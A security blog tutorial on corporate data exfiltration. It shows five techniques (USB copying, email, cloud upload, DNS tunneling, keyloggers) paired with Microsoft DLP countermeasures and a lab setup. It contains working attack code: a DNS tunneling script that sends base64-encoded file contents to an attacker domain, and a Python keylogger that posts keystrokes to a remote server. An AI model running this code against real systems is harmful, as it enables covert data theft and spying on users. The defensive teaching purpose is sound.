Data exfiltration—also known as Data Exfiltration—refers to the unauthorized transfer of sensitive information outside a secure corporate environment. This risk has become one of the top security concerns, as it can lead to theft of confidential information, reputational damage, and significant financial losses.
Requirements:
- Systems – Different types of systems
- Programming – High programming skills
Responsibility:
In this tutorial we will use hacking techniques, with the only purpose of learning. We do not promote its use for profitable or improper purposes. We are not responsible for any damage or impairment that may be generated in the systems used. The responsibility lies entirely with the user of this tutorial.
Knowledge:
- Linux – High
- Programming – Very High
- Kali Linux – High
- Windows – High
- Networks – Very High
Overall Tutorial Level: Very High
Ideal for: Code Developers, Security Engineers, Pentesters, Security Engineers
1. Introduction
To combat these threats, organizations use Data Loss Prevention (DLP) systems, whose main goal is to monitor, detect, and protect sensitive information. In this advanced blog post, we will explore:
- The 5 most relevant exfiltration techniques, with practical examples, code snippets, and real scenarios.
- How DLP—particularly Microsoft DLP—can help prevent the leakage of information.
- Steps to create policies and rules that align with these techniques and bolster your organization’s cybersecurity strategy.
2. Executive Summary
- Data exfiltration can be carried out internally (through dishonest or careless employees) or externally (cybercriminals exploiting security gaps).
- Techniques range from simple methods—like using USB devices—to more advanced tactics—such as DNS Tunneling or specialized malware.
- A DLP (Data Loss Prevention) system provides controls to detect and stop the unauthorized outflow of sensitive data based on configurable policies.
- Microsoft DLP, integrated into Microsoft 365, offers automatic rules and actions to protect information in services like Exchange Online, SharePoint, OneDrive, and Teams.
- Creating effective policies requires understanding both the nature of the data to be protected and the typical leakage routes.
3. Technical Summary
- Data Exfiltration
- Occurs when sensitive or confidential information is transferred or copied from a corporate network to an unauthorized environment.
- Can involve methods such as malware, social engineering, credential theft, or internal permission abuse.
- Data Loss Prevention (DLP)
- A set of tools and processes designed to identify, monitor, and protect sensitive data at rest, in transit, and in use.
- Allows defining policies to block, encrypt, or alert on potential data leaks.
- Microsoft DLP
- Part of the Microsoft 365 suite, managed via the Compliance Center.
- Provides automatic detection of sensitive information (credit card numbers, personal data, etc.), integrates with cloud services (SharePoint, OneDrive, Teams), and can block or alert on risky actions.
4. Data Exfiltration in Corporate Environments
In this section, we will delve into five data exfiltration techniques, illustrating each with code, example files, and possible real-world scenarios.
4.1. Five Exfiltration Techniques (with code examples)
1. Exfiltration via Removable Devices (USB, external hard drives)
Description:
The most direct technique: a user plugs in a USB device or external hard drive and copies sensitive information. This could be a malicious employee or simply someone unaware of security policies.
Real-world example:
An employee with access to customer data exports a file called clientes_confidencial.csv
(confidential_clients.csv) to a personal USB stick and takes this information off-premises.
Potential compromised files:
clientes_confidencial.csv
proyecto_estrategico.pdf
Windows PowerShell script example for mass copying to USB (malicious use):
# Example script (malicious usage) to copy .csv files to a removable device # Local path where sensitive data resides $sourcePath = "C:\Datos\Confidencial" # Detect the USB drive letter (e.g., D:) $usbDrives = Get-WmiObject Win32_LogicalDisk -Filter "DriveType = 2" foreach ($drive in $usbDrives) { $usbPath = $drive.DeviceID + "\" # Copy all CSV files to the USB Get-ChildItem -Path $sourcePath -Filter *.csv -Recurse | Copy-Item -Destination $usbPath -Force Write-Host "CSV files copied to $usbPath" }
Note: This script looks for removable drives and copies all
.csv
files from a specific folder. In a real scenario, it could be customized to search for other file types (docx, xlsx, pdf, etc.).
DLP Countermeasures:
- Blocking USB port access or requiring encrypted USB devices.
- Setting up alerts for massive copying of sensitive data.
2. Exfiltration via Email
Description:
Data is leaked by sending emails to external addresses. This can be malicious or accidental (e.g., using personal email to work from home).
Real-world example:
A user, without malicious intent, sends a document “confidencial.docx” to their personal Gmail account to keep working after hours.
Potential compromised files:
confidencial.docx
datos_financieros.xlsx
(financial_data.xlsx)
Python script example to send an email with an attachment:
import smtplib import ssl from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders # Sender details smtp_server = "smtp.gmail.com" port = 587 sender_email = "[email protected]" password = "YourPassword" # Recipient details receiver_email = "[email protected]" subject = "Confidential Document" body = "Confidential document attached. Please review." # Create message message = MIMEMultipart() message["From"] = sender_email message["To"] = receiver_email message["Subject"] = subject # Attach body message.attach(MIMEBase("text", "plain", filename="")) # Attach file filename = "confidencial.docx" with open(filename, "rb") as attachment: part = MIMEBase("application", "octet-stream") part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header("Content-Disposition", f"attachment; filename={filename}") message.attach(part) context = ssl.create_default_context() try: server = smtplib.SMTP(smtp_server, port) server.starttls(context=context) server.login(sender_email, password) server.sendmail(sender_email, receiver_email, message.as_string()) print("Email sent successfully.") finally: server.quit()
Warning: This is an educational example illustrating how someone could attach and send sensitive files by email.
DLP Countermeasures:
- Configuring rules to block or alert on emails containing classified or sensitive data patterns (e.g., more than 5 credit card records).
- Enforcing mandatory attachment encryption and restricting sending to external domains.
3. Exfiltration via Cloud Services (Dropbox, Google Drive, etc.)
Description:
Uploading corporate files to personal (or untrusted) cloud storage services makes it easier for data to leave the organization’s perimeter.
Real-world example:
A developer syncs a confidential repository to their personal Dropbox account to work from home. Upon leaving the company, they still retain access to those files.
Potential compromised files:
codigo_fuente_privado.zip
(private_source_code.zip)presentacion_roadmap.pptx
Example of using rclone
to upload files to a personal cloud service (illustrative):
# Assuming rclone is set up with a remote called "myDropbox" # Upload a confidential file rclone copy /home/user/confidencial.pdf myDropbox:/PersonalFolder echo "confidencial.pdf successfully uploaded to personal Dropbox"
rclone
is a syncing tool that, if misused, can facilitate data leakage.
DLP Countermeasures:
- Monitoring HTTP/HTTPS traffic to detect file uploads to domains like
dropbox.com
,drive.google.com
, etc. - Restricting the use of unauthorized cloud services and only allowing corporate platforms (OneDrive for Business, SharePoint, etc.).
4. DNS Tunneling
Description:
A more advanced technique where data is sent encrypted or encoded through seemingly legitimate DNS queries. An internal malware could use this method to extract information without alerting standard traffic controls.
Real-world example:
An attacker infects a workstation with malware that fragments the customer database and sends it to a DNS server they control. Each DNS query contains a piece of encoded data.
Potential compromised files:
- Complete databases (e.g.,
clientes.db
) - Password reports (
passwords.txt
)
Simplified Python script for DNS Tunneling (demo only):
import dns.resolver import base64 def encode_data(data): # Base64-encode and split into manageable chunks (~63 bytes max per DNS label) encoded = base64.b64encode(data.encode()).decode() chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)] return chunks def exfiltrate_data_via_dns(data, domain="exampleattacker.com"): chunks = encode_data(data) for i, chunk in enumerate(chunks): subdomain = f"{chunk}.{i}.{domain}" # e.g.: AbCdEf.1.exampleattacker.com try: # Perform a DNS query (A record for simplicity) dns.resolver.resolve(subdomain, 'A') except: pass # Ignore errors; the goal is to send the request to the authoritative DNS server # Usage: exfiltrate text from a file with open("clientes.txt", "r") as f: data_content = f.read() exfiltrate_data_via_dns(data_content) print("DNS exfiltration complete (simulated).")
Attention: This example is provided for educational purposes to illustrate basic DNS Tunneling mechanics. In practice, an attacker would use more sophisticated techniques (encryption, error control, etc.).
DLP/Network Security Countermeasures:
- Monitoring DNS requests for anomalies (high volumes, suspicious subdomains, unusual length patterns).
- Integrating reputation systems and whitelisting trusted DNS servers.
- Inspecting DNS traffic with SIEM tools and correlating with DLP events.
5. Advanced Malware with Exfiltration Capabilities (Keyloggers, RATs)
Description:
Malware that, once inside the network, records keystrokes, takes screenshots, or enables a Remote Access Trojan (RAT) for attackers to control the victim’s machine. Data theft can be selective and real-time.
Real-world example:
A user clicks on a phishing link and downloads a RAT. The attacker, remotely connected, explores the internal network, accesses file servers, and extracts confidential data to their own server.
Potential compromised files:
- Entire project directories (
/projects/*
) - Credentials stored in plaintext (
C:\Users\user\Passwords\
)
Example of a simple Python keylogger (educational, non-malicious intent):
import pynput from pynput.keyboard import Key, Listener import requests LOG_SERVER_URL = "http://malicious-example.com/upload" # Remote server buffer_log = [] def on_press(key): global buffer_log try: buffer_log.append(str(key.char)) except AttributeError: buffer_log.append("[" + str(key) + "]") # Send each time a certain amount of captures is reached if len(buffer_log) >= 50: send_data("".join(buffer_log)) buffer_log = [] def send_data(data): try: # POST request to remote server requests.post(LOG_SERVER_URL, data={"log": data}) except: pass with Listener(on_press=on_press) as listener: listener.join()
Warning: This keylogger snippet is solely for educational purposes, illustrating how an attacker could capture sensitive information.
DLP + EDR Countermeasures:
- Using EDR (Endpoint Detection & Response) solutions that analyze anomalous process behavior and outbound connections.
- Configuring DLP rules to trigger alerts when an unusual process accesses large volumes of sensitive files in a short period or connects to unknown IP addresses.
5. What is a DLP and How Does It Work?
A Data Loss Prevention (DLP) system is a set of technologies and processes that:
- Classifies and labels information according to its sensitivity (personal data, financial information, trade secrets, etc.).
- Monitors the flow and usage of this data, detecting possible leaks on endpoints, email, cloud storage, etc.
- Prevents exfiltration through blocking, encryption, or alerting when certain conditions defined in policies are met.
5.1. Key Features
- Intelligent detection: Uses patterns, regex-based matches, and data classification algorithms.
- Customizable policies: Different rules for different departments or data types.
- Reports and alerts: Generates real-time reports for the security team and can optionally notify end users.
- Integration with other solutions: Works alongside firewalls, EDR, SIEM, and authentication systems.
5.2. Microsoft DLP
- Configured in the Microsoft 365 Compliance Center.
- Automatically identifies sensitive information (credit card numbers, personal data, etc.) in emails, OneDrive, SharePoint, and Teams.
- Allows the creation of rules to notify the sender, notify admins, or block an action that compromises data security.
6. Practical DLP Cases Adapted to the Above Techniques
Below is how Microsoft DLP (or a similar DLP) can mitigate each of the described techniques:
- USB Exfiltration
- DLP Configuration: A policy blocking file copies labeled as “Confidential” to external drives.
- Practical Scenario: Copying
clientes_confidencial.csv
to a USB stick triggers an alert and the action is blocked.
- Email Exfiltration
- DLP Configuration: A rule detecting if an outgoing email contains data such as credit card info or if the file is classified as “Secret.”
- Practical Scenario: A user sends
datos_financieros.xlsx
to a non-corporate domain. DLP stops the email and notifies the admin.
- Cloud Service Exfiltration
- DLP Configuration: Monitoring HTTP/HTTPS traffic for uploads to unapproved cloud providers and blocking uploads of classified files.
- Practical Scenario: An employee attempts to upload
codigo_fuente_privado.zip
to their personal Dropbox account. DLP triggers a block and logs the incident.
- DNS Tunneling
- DLP Configuration: Cannot inspect every DNS request by itself, but in conjunction with a SIEM or DNS firewall, it can correlate data access events with suspicious DNS traffic.
- Practical Scenario: The SIEM detects a high volume of DNS requests to strange domains. DLP sees that the same machine accessed “Confidential” files, triggering a high-priority alert.
- Advanced Malware (Keyloggers, RATs)
- DLP + EDR Configuration: DLP can identify unusual access to sensitive data, while EDR detects malicious process behavior trying to exfiltrate data.
- Practical Scenario: An unknown process attempts to upload multiple documents from the
\Human Resources\
folder to an external IP. DLP raises an unauthorized access alert, and the EDR isolates the endpoint.
7. Creating a Policy and Basic Rules with Microsoft DLP
To create a policy adapted to these scenarios, the following steps are recommended:
- Identify Sensitive Data
- Set up Sensitive Information Types (SIT) in Microsoft 365 (e.g., PII, PCI, etc.).
- Label documents with confidentiality levels (Public, Internal, Confidential, Secret).
- Define the Scope
- Decide whether the policy will apply to Exchange Online, SharePoint Online, OneDrive, Teams, or all of them.
- Specify key groups or departments (Finance, Legal, R&D, etc.).
- Create Detection Rules
- Establish conditions: “If a document labeled ‘Confidential’ is sent outside the corporate domain, block the action and notify the admin.”
- Set thresholds (e.g., detect > 5 credit card numbers in a document).
- Actions to Take
- Block the action (email send, cloud upload, USB copy).
- Notify the user of a potential policy violation.
- Send an alert to the security team or CISO.
- Exceptions and Whitelists
- Allow certain emails or cloud providers where legal agreements exist.
- Avoid false positives that disrupt normal business operations.
- Ongoing Monitoring and Tuning
- Review reports in the Compliance Center.
- Adjust settings as workflows change and new threats emerge.
7.1. Basic Microsoft DLP Rules Aligned to the Five Techniques
- Anti-USB Rule
- Action: Block copying to external devices if the content is labeled “Confidential.”
- Notification: To both the user and the security team.
- Anti-External Email Rule
- Action: Block emails with attachments containing credit card numbers or personal IDs.
- Threshold: More than 5 credit card numbers in a file.
- Cloud Storage Restriction Rule
- Action: Deny uploads of classified files to any cloud domain not on the approved list.
- Notification: Log the event and alert IT for follow-up.
- DNS Tunneling Rule (SIEM Correlation)
- Action: Receive events from SIEM on suspicious DNS requests.
- If sensitive files access + anomalous DNS traffic → High-level alert and endpoint isolation.
- Keylogger/RAT Detection Rule
- Action: If an unknown process accesses multiple sensitive files in a short period, block and alert.
- Integration: Microsoft Defender for Endpoint (EDR) to quarantine the device.
8. Final Recommendations
- Training and Awareness
- Educate employees on security best practices, phishing identification, correct use of external devices, and communication channels.
- Multi-Layer Approach
- Combine DLP with EDR, next-generation firewalls, antimalware, and event correlation tools (SIEM).
- Clear and Realistic Policies
- Define specific rules for each department or data type, avoiding total business disruption or excessive false positives.
- Audits and Reviews
- Conduct pentests or attack simulations to measure the effectiveness of DLP policies.
- Review reports and adjust actions based on organizational needs.
- Lab Testing
- Before deploying DLP rules widely, test them in a controlled environment to ensure they don’t interfere with legitimate tasks.
Conclusion
Data exfiltration is a constant and potentially devastating threat to organizations, both internally and externally. The techniques described demonstrate the creativity and ingenuity attackers use to steal information—from simple USB copies to sophisticated covert channels like DNS Tunneling.
Implementing a robust DLP, such as Microsoft DLP, gives organizations the visibility and controls necessary to detect and prevent information leaks across various platforms (email, cloud, endpoints). By combining it with a multi-layer security approach (firewalls, EDR, SIEM) and promoting employee awareness, organizations can drastically reduce their risk surface.
Staying current on vulnerabilities and emerging cyberattack trends is essential for continuously refining rules, policies, and security measures to safeguard your company’s critical information.
9. Controlled laboratory used for this test
Please note: All practice is carried out for educational purposes in a controlled environment. Do not use these techniques on networks or production systems without express authorization.
1. Lab Objectives
- Familiarize themselves with the main data exfiltration vectors (USB, email, cloud services, DNS Tunneling, malware).
- Execute practical examples of each exfiltration technique in a safe and isolated environment.
- Configure basic security and DLP controls to monitor and block such techniques.
- Analyze logs and security events, verifying the effectiveness of protection measures.
2. Prerequisites
- Virtualization: It is recommended to use a hypervisor (VirtualBox, VMware, Hyper-V, Proxmox, etc.) to isolate the virtual machines (VMs).
- Virtual Machines (VMs):
- Windows 10/11 or Windows Server (to simulate the corporate workstation).
- Ubuntu/Linux (to simulate an attacker server, malicious DNS, or a receiving host).
- Optional: Windows Server with Active Directory for a more realistic corporate scenario (not mandatory, but recommended).
- Internet Access (optional) or a simulated local network for tests requiring external DNS.
- Tools:
- A text editor or IDE (Notepad++, VSCode, etc.).
- Necessary scripts or binaries (e.g., Python, PowerShell, rclone, etc.).
- Network monitoring tools (Wireshark, tcpdump) and/or trial DLP solutions (Microsoft DLP demo, or an open source DLP).
3. Environment Setup
3.1. Basic Topology
- Windows VM (Victim/Workstation)
- Hostname:
WinVictim
- Role: Contains sensitive files and serves as the starting point for the exfiltration techniques (acting as an “insider” or compromised user).
- Enable PowerShell, and optionally Python.
- Hostname:
- Linux VM (Attacker/Exfiltration Server)
- Hostname:
AttackerVM
- Role: Receiving point (for instance, a malicious DNS server, web server to which files are uploaded, etc.).
- Install tools like
dnsutils
,python3
,wireshark/tcpdump
.
- Hostname:
- (Optional) Windows Server with AD (Corporate Servers)
- Role: Centralize user accounts and store important files (network share).
- Useful for simulating a more enterprise-like environment and testing GPO enforcement for device or script restrictions.
- (Optional) Microsoft 365 / Azure Lab
- To test Microsoft DLP, you need a Microsoft 365 subscription with access to the Compliance Center, where you can configure basic DLP rules.
3.2. Network and Isolation
- Internal Network (Host-Only or NAT): Ensure the VMs can communicate with each other but avoid interfering with the real production or home network.
- Snapshot Control: Take snapshots before each exercise so you can restore in case of errors or malware infections going out of control.
4. Executing the Exfiltration Techniques
Below are the steps to execute each technique. The student will act as the “internal attacker” or “malware” on the Windows VM, with the Linux VM as the receiver (or support).
4.1. Exfiltration via USB
- Prepare the folder with sensitive data
- On
WinVictim
, create a folderC:\Data\Confidential
with mock files, e.g.:clients_confidential.csv
strategic_project.pdf
- On
- Connect the USB (VirtualBox/VMware)
- In the VM’s settings, enable the USB port and connect a real or virtualized pendrive.
- Verify that Windows recognizes it (e.g., drive
D:
).
- Create/use a mass copy script (PowerShell)
- Use the provided PowerShell example (or a custom script) to copy the files from
C:\Data\Confidential
to the USB.
- Use the provided PowerShell example (or a custom script) to copy the files from
$sourcePath = "C:\Data\Confidential" $usbDrives = Get-WmiObject Win32_LogicalDisk -Filter "DriveType = 2" foreach ($drive in $usbDrives) { $usbPath = $drive.DeviceID + "\" Get-ChildItem -Path $sourcePath -Recurse | Copy-Item -Destination $usbPath -Force }
Observe Behavior / Countermeasures
- If any DLP solution is enabled (e.g., Symantec DLP or Microsoft Endpoint DLP), check whether alerts or blocks occur.
- With a corporate AD, you could test a policy that blocks unauthorized USB drives or requires them to be encrypted.
Conclusion
- Demonstrates how simple it is to steal data if USB port access is unrestricted.
4.2. Exfiltration via Email
- Set up a mail client on the Windows VM
- Use Outlook or Thunderbird, configured with a test account (e.g., a Gmail or local SMTP server).
- Prepare the file to be exfiltrated
- E.g.,
financial_data.xlsx
, located inC:\Data\Confidential
.
- E.g.,
- Send the email to an external account
- Attach the file and send it to a personal address (if the lab allows) or to a local mail server (simulated).
- (Optional) Use a Python script
- Employ the sample Python script to send emails with attachments.
- Attention: Adjust SMTP credentials and recipient addresses.
- Monitor events
- If using Microsoft 365 with DLP, create a rule to block outgoing emails that contain a certain number of sensitive data items (e.g., more than 5 credit card numbers).
- Check the Compliance Center or mail logs to see if the email is blocked.
- Conclusion
- Confirms the ease of leaking confidential information via email in the absence of inspection controls.
4.3. Exfiltration via Cloud Services (Dropbox, Drive, etc.)
- Install or set up a synchronization tool
- Or simply access Dropbox, Google Drive, etc., through a web browser.
- Upload files
- Select the same files from
C:\Data\Confidential
and upload them to a personal cloud account.
- Select the same files from
- rclone (optional)
- On
WinVictim
, installrclone
and configure a remote (e.g.,dropbox:
). - Run
rclone copy C:\Data\Confidential dropbox:\PersonalFolder
.
- On
- Observe traffic and block attempts
- With a DLP solution or HTTPS-filtering firewall, check logs to detect file uploads to unauthorized services.
- Check if a DLP alert is triggered to block the upload or notify an admin.
- Conclusion
- Highlights how easily a user with basic knowledge can use cloud solutions for data exfiltration.
4.4. DNS Tunneling
- Set up the Linux VM as a DNS server
- Install and configure
bind9
or similar to serve as an authoritative DNS for a domain, e.g.,malicious.lab
. - Open UDP/TCP port 53 on
AttackerVM
.
- Install and configure
- Create or adapt a Python DNS Tunneling script
- On
WinVictim
, use the sample (or your own) that encodes data in Base64 and performs DNS queries tomalicious.lab
.
- On
import dns.resolver import base64 def encode_data(data): encoded = base64.b64encode(data.encode()).decode() chunks = [encoded[i:i+50] for i in range(0, len(encoded), 50)] return chunks def exfiltrate_data_via_dns(data, domain="malicious.lab"): chunks = encode_data(data) for i, chunk in enumerate(chunks): subdomain = f"{chunk}.{i}.{domain}" try: dns.resolver.resolve(subdomain, 'A') except: pass # Test with a file with open("C:\\Data\\Confidential\\clients_confidential.csv", "r") as f: data_content = f.read() exfiltrate_data_via_dns(data_content) print("DNS exfiltration complete (simulated).")
Run and review DNS logs
- On
AttackerVM
, check incoming requests (e.g.,/var/log/syslog
or bind9 logs). - Confirm that you receive queries with encoded subdomains.
Monitoring and countermeasures
- Use a SIEM (Security Onion, Splunk, etc.) or DNS firewall that alerts on abnormal query volume or strange subdomains.
- Integrate DLP to correlate: “Machine X accessed sensitive files and simultaneously made a large number of suspicious DNS queries.”
Conclusion
- Showcases the challenge of detecting exfiltration through covert channels like DNS.
4.5. Advanced Malware (Keyloggers, RATs)
- Prepare a “test malware” sample
- Use a Python keylogger (like the blog example) or a downloadable one for a lab setting.
- WARNING: Ensure the lab is isolated and avoid real dangerous malware. Optionally, use legitimate remote control software (TeamViewer, AnyDesk) to simulate a RAT.
- Run the malware
- On
WinVictim
, start the keylogger and confirm it captures keystrokes or screenshots. - On
AttackerVM
, simulate a receiving server (e.g., a simple script to accept HTTP requests with logs).
- On
- Attempt to exfiltrate files
- The malware might read
C:\Data\Confidential
and send it via HTTP/HTTPS toAttackerVM
. - Observe on Wireshark/tcpdump on
AttackerVM
if the data arrives.
- The malware might read
- EDR/DLP detection
- If using EDR solutions (e.g., Microsoft Defender for Endpoint), verify if alerts for unusual behavior (mass file access, unknown IP connections, etc.) appear.
- Check if DLP detects an unsigned process trying to read and send files labeled “Confidential.”
- Conclusion
- Demonstrates the danger of a compromised endpoint and the need for real-time behavioral monitoring.
5. Reviewing Logs and Alerts
After performing each technique, students should:
- Review security logs in Windows (Event Viewer), in the Linux server (DNS logs, syslog, apache logs, etc.), and in the firewall/IDS (if present).
- Check Microsoft 365 Compliance Center (if using Microsoft DLP) to see how exfiltration events are logged.
- Document findings, timestamps, and indicators that a real attacker might leave behind.
6. Additional Activities
- Enable DLP policies (Microsoft 365 or similar) to block some of the techniques. Repeat the experiments and compare results.
- Set up a SIEM (Splunk, Wazuh, Security Onion) to receive Windows and Linux logs, creating real-time exfiltration alerts.
- AD Group Policy (GPO): Block running unsigned PowerShell scripts, restrict Python usage, or prevent unauthorized software installations.
- Encrypt sensitive data: See how the difficulty of exfiltration changes when files are encrypted and the attacker does not have the key.
7. Final Conclusions
This lab provides a hands-on perspective of how straightforward or sophisticated data exfiltration techniques can be. It also illustrates the importance of multi-layered security controls, ranging from USB port restrictions to advanced DLP and event correlation systems.
Thank you very much for reading our blog on Data Exfiltration and DLP!
We hope the content has been useful in helping you better understand data leakage techniques and ways to protect your organization with Data Loss Prevention solutions. Your time and interest are very valuable, and we hope you apply this knowledge to strengthen the security of your data.
If you found it interesting, we invite you to share it with your team or with those who may benefit from this information. Thank you for your support and trust!